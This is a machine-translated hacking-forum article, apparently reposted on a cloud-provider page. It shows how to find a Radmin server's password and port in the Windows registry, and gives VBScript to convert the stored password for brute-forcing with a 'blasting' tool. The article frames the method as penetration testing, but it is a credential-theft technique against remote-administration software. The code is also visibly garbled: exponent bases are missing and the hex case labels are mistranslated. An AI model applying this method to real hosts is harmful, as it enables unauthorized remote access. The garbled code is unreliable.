Reprint please keep the copyright information! Thank you for your cooperation!
by Netpatch
Welcome www.nspcn.org and Www.icehack.com
Recently do penetration test often encounter radmin kind of thing.
When you encounter this kind of program, I usually first look at the other side of the radmin to configure what the port. and the corresponding pass (encrypted)
Hkey_local_machine\system\radmin\v2.0\server\parameters\parameter//Default password registry location
Hkey_local_machine\system\radmin\v2.0\server\parameters\port//Default port registry location
Read the Haiyang, use the comma to open, and then use the following code to convert it
[Copy to Clipboard] [ - ] CODE:
Dim Thestr
Thestr = InputBox ("Enter the password to be converted:", "Input", "44,41,43,32,43,5,45,64,43,24,31,53,46,57,64,86")
If thestr <> "" Then
Call InputBox ("Please copy the password that has been converted", ZPass (THESTR))
End If
Function ZPass (pass)
Tpass= ""
MyArray = Split (pass, ",",-1, 1)
For each thepass in myarray
If Len (thepass) = 1 Then
tpass=tpass+ "0"
End If
Tpass=tpass+hex (Thepass)
Next
Zpass=tpass
End Function
After the conversion, you can take the blasting tool to run ....
The port reads like this after the 223,34,0,0
You can use the following code to convert
[Copy to Clipboard] [ - ] CODE:
Dim Thestr
Thestr = InputBox ("Enter the port to be converted:", "Input", "223,34,0,0,")
da = Split (Thestr, ",",-1, 1)
If thestr <> "" Then
Call InputBox ("Please copy the ports that have been converted", Hex2dec (Dec2hex (DA (3)) &dec2hex (DA (2)) &dec2hex (DA (1)) &dec2hex (DA (0)))
End If
Function Hex2dec (Hex)
Hex = UCase (Hex)
For i = 1 to Len (HEX)
Select Case Mid (Hex, Len (Hex)-i + 1, 1)
Case "0": B = b + ^ (i-1) * 0
Case "1": b = b + ^ (i-1) * 1
Case "2": b = b + ^ (i-1) * 2
Case "3": b = b + ^ (i-1) * 3
Case "4": b = b + ^ (i-1) * 4
Case "5": b = b + ^ (i-1) * 5
Case "6": B = b + ^ (i-1) * 6
Case "7": b = b + ^ (i-1) * 7
Case "8": b = b + ^ (i-1) * 8
Case "9": b = b + ^ (i-1) * 9
Case "A": b = b + ^ (i-1) * 10
Case "B": b = b + ^ (i-1) * 11
Case "C": b = b + ^ (i-1) * 12
Case "D": b = b + ^ (i-1) * 13
Case "E": b = b + ^ (i-1) * 14
Case "F": b = b + ^ (i-1) * 15
End Select
Next
Hex2dec = B
End Function
Function Dec2hex (DEC)
Dec2hex = ""
Do While Dec > 0
A = CSTR (Dec Mod 16)
Select Case A
Case "Ten": A = "a"
Case "One": A = "B"
Case "a": A = "C"
Case "a": A = "D"
Case "a": A = "E"
Case "a": A = "F"
End Select
Dec2hex = A & Dec2hex
Dec = Dec \ 16
Loop
End Function
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.